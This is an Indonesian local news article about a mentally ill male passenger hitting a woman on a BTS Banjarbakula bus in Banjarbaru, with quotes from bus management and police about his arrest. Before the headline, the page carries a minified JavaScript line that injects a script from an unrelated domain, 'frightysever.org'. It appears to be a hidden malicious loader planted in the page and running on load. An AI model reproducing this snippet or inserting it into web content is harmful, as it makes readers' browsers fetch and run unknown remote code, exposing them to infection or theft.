(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Viral Video Pemukulan Penumpang Perempuan di Bus BTS Banjarbakula

KANALKALIMANTAN.COM, BANJARBARU – Viral video pemukulan seorang penumpang laki-laki ke penumpang perempuan di dalam bus Buy Trans Service (BTS) Banjarbakula koridor Simpang Empat Banjarbaru-Terminal Gambut geger di media sosial.

Kejadian pemukulan pada Minggu (28/8/2022) sekitar pukul 12.21 Wita tersebut, terjadi di Jalan Ahmad Yani tepat depan halte kolam renang Idaman Kota Banjarbaru.

Manager Bus Buy Trans Service (BTS) Banjarbakula, Ovi saat dihubungi Selasa (30/8/2022) siang, mengatakan pihaknya sudah melapor ke Polsek Gambut terkait kejadian tersebut.

“Untuk lebih jelasnya bisa ke Polsek Gambut,” katanya.

Dalam kejadian tersebut kata Ovi, pihak manajemen BTS dirugikan.

“Sekarang kami sedang rapat terkait pengendalian ODGJ di Kalsel,” paparnya.

Sementara itu, Kapolsek Gambut Iptu Ruspandi memaparkan memang pelaku pemukulan dibawa ke Terminal Gambut Barakat oleh manajemen BTS. Kemudian dilaporkan ke Polsek Gambut, namun karena lokasi kejadian terjadi di wilayah Polsek Banjarbaru Utara maka pelaku diserahkan ke Polsek Banjarbaru Utara.

“Dibawa ke Gambut, tapi karena lokasi kejadian di Banjarbaru jadi diserahkan ke Banjarbaru,” katanya.

Saat dikonfirmasi, Kapolsek Banjarbaru Utara Kompol Shofiyah melalui Ps Kasi Humas Polsek Banjarbaru Utara Aipda Andreas mengatakan, pelaku memang sudah diamankan di Polsek Banjarbaru Utara.

“Ini sedang kami tangani, nanti saya sampaikan kronologinya ya,” ujarnya.

Pelaku (tengah) pemukulan penumpang perempuan di bus BTS Banjarbakula dibekuk polisi. Foto: polsekbjbutara

Terpantau dari rekaman CCTV unit bus yang dibagikan di media sosial seorang perempuan masuk ke dalam bus dan duduk di barisan samping bus agak belakang. Kemudian datang seorang pria yang duduk di sebelahnya. Merasa tak nyaman dengan kedatangan pria tersebut, perempuan bergamis hitam dan berkerudung pink membawa tas tangan tersebut pindah ke seberangnya.

Masih tak nyaman, perempuan tersebut pun pindah ke kursi yang diapit oleh dua orang penumpang. Pelaku pemukulan kemudian mengajak berbicara perempuan tersebut, hingga pelaku mendekati dan memukul korban hingga berhasil dilerai oleh penumpang lain. Pelaku kemudian didorong keluar dari pintu keluar bus.

Terdengar dari rekaman CCTV jika pelaku yang seorang ODGJ disebut penumpang lain sangat sensitif. Pelaku tidak senang jika ada orang lain yang takut atau menghindar darinya. Terpantau bus diberhentikan bukan di lokasi halte saat menurunkan terduga pelaku.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie